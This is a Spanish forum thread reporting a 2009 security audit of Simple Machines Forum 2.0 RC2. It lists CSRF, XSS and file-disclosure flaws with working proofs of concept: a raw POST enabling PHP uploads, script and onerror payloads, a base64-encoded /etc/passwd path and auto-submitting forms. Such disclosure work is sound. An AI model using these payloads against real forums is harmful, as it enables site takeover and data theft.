Auditoría de seguridad hacia Simple Machines Forum 2.0

Iniciado por WHK, 18 Octubre 2009, 23:13 PM

0 Miembros y 1 Visitante están viendo este tema.

WHK

#10
Detalles


 
 
 
 
 
 
Descripción:CSRF en la configuración de archivos adjuntos
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/ManageAttachments.php:117 y 162
URL Vulnerable:/index.php?action=admin;area=manageattachments;sa=attachments
PoC:POST:
attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150
Afecta a:‭‬SMF 2.0 RC2



Descripción

La vulnerabilidad se trata de que puedes ejecutar modificaciones en el
panel de administración de forma arbitraria en la sección de configuración
de archivos adjuntos:
http://localhost/smf2.0/index.php?action=admin;area=manageattachments;sa=attachments
aunque lo extraño es que SMF si integra el token pero al enviar la petición
sin el nos encontramos que se ejecuta de igual forma.

La falla está en el archivo Sources/ManageAttachments.php linea 117 desde
donde se llaman a las funciones desde
Código (php) [Seleccionar]
// Finally fall through to what we are doing.
$subActions[$context['sub_action']]();


y la linea 162 a la209 que es la función llamada y desde que inicia el
proceso hasta que fiinaliza no se solicita ningún tipo de token.

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageAttachments.php#117
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageAttachments.php#162

Prueba de concepto
Código (bash) [Seleccionar]
yan@Lola:~$ nc -v 127.0.0.1 80
POST
/smf_2/index.php?action=admin;area=manageattachments;save;sa=attachments
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)
Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer:
http://127.0.0.1/smf_2/index.php?action=admin;area=manageattachments;sa=attachments
Cookie: PHPSESSID=[Cookie acá]
Content-Type: application/x-www-form-urlencoded
Content-Length: 368

attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150

WHK

#11
Detalles


 
 
 
 
 
 
Descripción:XSS en "Enable basic HTML in posts"
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:<img src="http:// alt="x http://www.google.com/onerror=alert(1)// x">
Afecta a:‭‬SMF 2.0 RC2



Descripción

De acuerdo con SMF,
CitarThis will allow the posting of some basic HTML tags:

   * <b>, <u>, <i>, <s>, <em>, <ins>, <del>
   * <a href="">
   * <img src="" alt="" />
   * <br />, <hr />
   * <pre>, <blockquote>

Pero se puede hacer XSS con:
Código (html4strict) [Seleccionar]
<img src="http:// alt="x http://www.google.com/onerror=alert(1)// x">

Saludos!!

WHK

#12
Detalles


 
 
 
 
 
 
Descripción:Remote File Disclosure (solo en logs, y similares)
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==
PoC:Obligando a que la página se muestre como una CSS se le permita leer su contenido.
Afecta a:‭‬SMF 2.0 RC2



Descripción

Hay una vulnerabilidad en la manera en la que el lector de logs funciona:
index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==

Un atacante podria crear una serie de peticiones para crear una aparente
hoja de estilo valida, y asi capturar en IE toda la informacion que sigue
despues de cierta linea.

WHK

#13
Detalles


 
 
 
 
 
 
Descripción:RCSRF en las preferencias de moderación
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=moderate;area=settings
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Las configuraciones en:
index.php?action=moderate;area=settings

Tienen token pero no lo validan.

WHK

#14
Detalles


 
 
 
 
 
 
Descripción:XSS en el censurador de palabras
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=postsettings;sa=censor
PoC:[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

Todos los que tengan acceso al area del censurador:
index.php?action=admin;area=postsettings;sa=censor

Pueden hacer XSS en cualquier parte del foro...
PoC:

Ponga la palabra a ser censurada a la izquierda, y el reemplazo a la derecha.

[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]

WHK

#15
Detalles


 
 
 
 
 
 
Descripción:CSRF en las encuestas
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=vote;topic=3.0;poll=1
PoC:N/A
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

Se puede desactivar el voto de un usuario si la encuesta permite cambiar de
voto.

Suponiendo que es la encuesta 1 del topic 3, entonces una peticion a:
index.php?action=vote;topic=3.0;poll=1

Borraria el voto.

WHK

#16
Detalles


 
 
 
 
 
 
Descripción:XSS en el instalador
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:install.php
URL Vulnerable:install.php
PoC:establecer como ruta del foro http://localhost/"><h1>xss</h1>
Afecta a:‭‬SMF 2.0 RC2



Descripción

La vulnerabilidad está en el archivo install.php.
Es provocada por la mala filtración de carácteres especiales al producirse
algún error en algún paso de la instalación lo que puede provocar ejecución
de código html y ‭‬javascript en el navegador.
Ejemplos en el código están en las funciones template_database_settings() y
template_chmod_files().
Adjunto un archivo installer modificado por mí que es supuestamente seguro
contra la vulnerabilidad encontrada.
Otra vulnerabilidad XSS que he encontrado es en el step de forum settings
es cuando te pregunta la ruta del foro, si pones
http://localhost/"><h1>Hola</h1>
Por cada enlace que ponga en el foro te saldra el <h1>Hola</h1>

WHK

#17
Detalles


 
 
 
 
 
 
Descripción:XSS en el instalador
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:$incontext['error'] = sprintf($txt['error_valid_email_needed'],
$_POST['username']);
$_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ',
$_POST['username']);
URL Vulnerable:install.php
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

El archivos install.php sufre una vulnerabilidad de Cross-Site Scripting al
no validar las variables POST. Ejemplos:
Linea 1317:
Código (php) [Seleccionar]
$incontext['error'] = sprintf($txt['error_valid_email_needed'],
$_POST['username']);


Linea 1325:
Código (php) [Seleccionar]
$_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ',
$_POST['username']);


Entonces, al ir al paso 2 (/install.php?step=2) por ejemplo se puede
explotar en el input "db_server", asi tambien en inputs siguientes.

WHK

#18
Detalles


 
 
 
 
 
 
Descripción:XSS en el administrador de reglas
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:index.php?action=pm;sa=manrules
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

El administrador de reglas de mensajes sufre de tres ataques de Cross-Site
Request Forgery (index.php?action=pm;sa=manrules).
Primero:

Código (html4strict) [Seleccionar]
<form method="POST" action="/index.php?action=pm;sa=manrules;save;rid=0">
<input type="text" name="rule_name" value="csrf">
<input type="text" name="ruletype[0]" value="mid">
<input type="text" name="ruledef[0]" value="admin">
<input type="text" name="ruledefgroup[0]" value="">
<input type="text" name="rule_logic" value="and">
<input type="text" name="acttype[0]" value="del">
<input type="text" name="labdef[0]" value="">
<input type="text" name="save" value="Save Rule">
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Este ataque crearía una regla que borre todos los mensajes provenientes del
user admin.

Segundo:
Código (html4strict) [Seleccionar]
<form method="POST" action="/index.php?action=pm;sa=manrules">
<input type="text" name="delrule[4]" value="on">
<input type="text" name="delselected" value="Delete Selected Rules">
</form>


Este ataque borraría la regla 4.

Tercero:
Código (html4strict) [Seleccionar]
<img src="/index.php?action=pm;sa=manrules;apply">

Aplicaría las reglas en el momento.

WHK

#19
Detalles


 
 
 
 
 
 
Descripción:XSS en el administrador de smileys
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:/index.php?action=admin;area=smileys;sa=modifyset;set=1
PoC:Cambiar nombre del paquete a: Nombre"/onclick="alert(0)
Afecta a:‭‬SMF 2.0 RC2



Descripción

Este ataque Cross-Site Scripting se puede producir, pero lo tilde como
"posible" por el echo de no tener el fácil acceso a la edición del nombre
de un paquete de smileys. Una de las principales barreras es el token que
no permite la ejecución de CSRF.
Para reproducir el XSS se tiene que dirigir a
"/index.php?action=admin;area=smileys;sa=modifyset;set=1" y editar el
nombre del paquetey poner algo como: Nombre"/onclick="alert(0). Y al volver
a "/index.php?action=admin;area=smileys;sa=modifyset;set=1" el XSS se
ejecutaría pero el nombre quedaría con el valor que hayamos especificado
sin que se ejecute en los sets de smileys
(/index.php?action=admin;area=smileys;sa=editsets;).

Así que lo catalogo como un problema y lo dejo al criterio de ustedes :P